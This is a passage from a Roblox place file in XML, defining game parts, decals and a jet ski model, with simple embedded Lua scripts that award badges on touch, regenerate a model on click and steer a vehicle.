					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX2654">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="TrussPart" referent="RBX2655">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-1676</X>
					<Y>16.8000011</Y>
					<Z>20</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
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					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX2666">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures/SpawnLocation.png</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Fire" referent="RBX2667">
				<Properties>
					<bool name="Archivable">true</bool>
					<Color3 name="Color">4294946048</Color3>
					<bool name="Enabled">false</bool>
					<string name="Name">Fire</string>
					<Color3 name="SecondaryColor">4294901760</Color3>
					<float name="heat_xml">25</float>
					<float name="size_xml">30</float>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX2668">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-150</X>
					<Y>29</Y>
					<Z>232</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Platform</string>
				<float name="Reflectance">1</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX2669">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX2670">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX2671">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2672">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2673">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-114</X>
						<Y>8.60000038</Y>
						<Z>196</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>6</X>
						<Y>1.20000005</Y>
						<Z>6</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX2674">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2675">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX2676">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">48040128</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2677">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2678">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-150</X>
						<Y>27.8000011</Y>
						<Z>224</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX2679">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2680">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX2681">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2682">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2683">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-221</X>
						<Y>7.4000001</Y>
						<Z>180</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX2684">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2685">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX2686">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX2687">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-122.5</X>
					<Y>17</Y>
					<Z>276</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>119</X>
					<Y>20.4000015</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX2688">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-119</X>
					<Y>26.6000004</Y>
					<Z>204</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>108</X>
					<Y>1.20000005</Y>
					<Z>142</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX2689">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2690">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-218</X>
						<Y>7</Y>
						<Z>274</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX2691">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX2692">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2693">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX2694">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2695">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Green Jet Ski</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX2696">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Jet Ski</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Script" referent="RBX2697">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ParentScript</string>
							<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2698">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">true</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2699">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
